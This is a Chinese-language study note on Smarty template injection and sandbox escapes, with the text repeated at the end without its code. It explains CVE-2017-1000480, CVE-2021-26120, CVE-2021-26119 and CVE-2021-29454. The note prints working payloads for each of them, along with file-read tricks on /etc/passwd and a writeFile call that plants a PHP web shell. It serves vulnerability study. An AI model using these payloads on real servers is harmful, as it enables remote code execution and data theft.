Smarty模板引擎漏洞详解
字数 1142 2025-08-06 12:20:54

Smarty模板引擎漏洞详解

前言

本文详细记录了关于Smarty模板引擎注入及相关漏洞的学习内容,包括SSTI(服务器端模板注入)和各种CVE漏洞的分析与利用方法。

基础知识

Smarty是一个PHP模板引擎,官方文档参考:Smarty3 手册

常见攻击方法

任意文件读取

利用{include}标签读取文件内容:

{include file='D:\flag.txt'}

访问类的静态成员或静态方法

使用self关键字访问类方法:

getStreamVariable()

{self::getStreamVariable("file:///etc/passwd")}
  • 存在于Smarty <= 3.1.29版本
  • 3.1.30版本已删除此方法

writeFile()

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
  • 将PHP代码写入临时文件
  • 配合eval("?>" . file_get_contents($this->filepath))执行

常用标签利用

版本信息获取

{$smarty.version}

{literal}标签

  • PHP5环境下可利用<script>language="php"></script>执行代码
  • PHP7中内容原样输出,可用于XSS

{php}标签

{php}phpinfo();{/php}
  • Smarty3中已禁用

{if}标签

{if phpinfo()}{/if}
{if system('cat /flag')}{/if}

沙箱逃逸

Smarty使用enableSecurity开启沙箱保护:

基础沙箱示例:

$smarty = new Smarty();
$smarty->enableSecurity();
$ip = $_POST['data'];
$smarty->display($ip);

严格沙箱配置:

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$smarty->enableSecurity($my_security_policy);

CVE漏洞分析

CVE-2017-1000480

  • 影响版本:Smarty <= 3.1.32
  • 漏洞点:display方法存在PHP代码执行漏洞
  • 利用方式:
*/phpinfo();//
  • 漏洞链:
    1. display()调用_execute()
    2. 创建模板对象createTemplate()
    3. 调用render()方法
    4. 最终通过eval("?>" . file_get_contents($this->filepath))执行代码

CVE-2021-26120

  • 影响版本:Smarty < 3.1.39
  • 漏洞描述:{function}中的name属性可注入恶意代码
  • POC:
string:{function name='rce(){};phpinfo();function '}{/function}
  • 漏洞分析:
    • name属性值直接拼接到编译后的函数名中
    • 导致前后部分闭合,中间代码被执行

CVE-2021-26119

  • 影响版本:Smarty <= 3.1.38
  • 漏洞描述:{$smarty.template_object}可访问smarty对象
  • POC示例:
{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
  • 利用方式:
    1. 第一次display访问Smarty实例并禁用安全设置
    2. 第二次display执行任意代码

CVE-2021-29454

  • 影响版本:< 3.1.42 和 < 4.0.2
  • 漏洞描述:恶意数学字符串可执行任意PHP代码
  • POC:
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}
  • 漏洞分析:
    • smarty_function_math方法中的eval()
    • 利用eval解析8进制/16进制数的特性绕过过滤

参考

  1. Smarty3 手册
  2. CVE数据库
  3. Smarty 模板注入与沙箱逃逸
Smarty模板引擎漏洞详解 前言 本文详细记录了关于Smarty模板引擎注入及相关漏洞的学习内容,包括SSTI(服务器端模板注入)和各种CVE漏洞的分析与利用方法。 基础知识 Smarty是一个PHP模板引擎,官方文档参考: Smarty3 手册 常见攻击方法 任意文件读取 利用 {include} 标签读取文件内容: 访问类的静态成员或静态方法 使用 self 关键字访问类方法: getStreamVariable() 存在于Smarty <= 3.1.29版本 3.1.30版本已删除此方法 writeFile() 将PHP代码写入临时文件 配合 eval("?>" . file_get_contents($this->filepath)) 执行 常用标签利用 版本信息获取 {literal}标签 PHP5环境下可利用 <script>language="php"></script> 执行代码 PHP7中内容原样输出,可用于XSS {php}标签 Smarty3中已禁用 {if}标签 沙箱逃逸 Smarty使用 enableSecurity 开启沙箱保护: 基础沙箱示例: 严格沙箱配置: CVE漏洞分析 CVE-2017-1000480 影响版本:Smarty <= 3.1.32 漏洞点: display 方法存在PHP代码执行漏洞 利用方式: 漏洞链: display() 调用 _execute() 创建模板对象 createTemplate() 调用 render() 方法 最终通过 eval("?>" . file_get_contents($this->filepath)) 执行代码 CVE-2021-26120 影响版本:Smarty < 3.1.39 漏洞描述: {function} 中的name属性可注入恶意代码 POC: 漏洞分析: name 属性值直接拼接到编译后的函数名中 导致前后部分闭合,中间代码被执行 CVE-2021-26119 影响版本:Smarty <= 3.1.38 漏洞描述: {$smarty.template_object} 可访问smarty对象 POC示例: 利用方式: 第一次display访问Smarty实例并禁用安全设置 第二次display执行任意代码 CVE-2021-29454 影响版本:< 3.1.42 和 < 4.0.2 漏洞描述:恶意数学字符串可执行任意PHP代码 POC: 漏洞分析: smarty_function_math 方法中的 eval() 利用eval解析8进制/16进制数的特性绕过过滤 参考 Smarty3 手册 CVE数据库 Smarty 模板注入与沙箱逃逸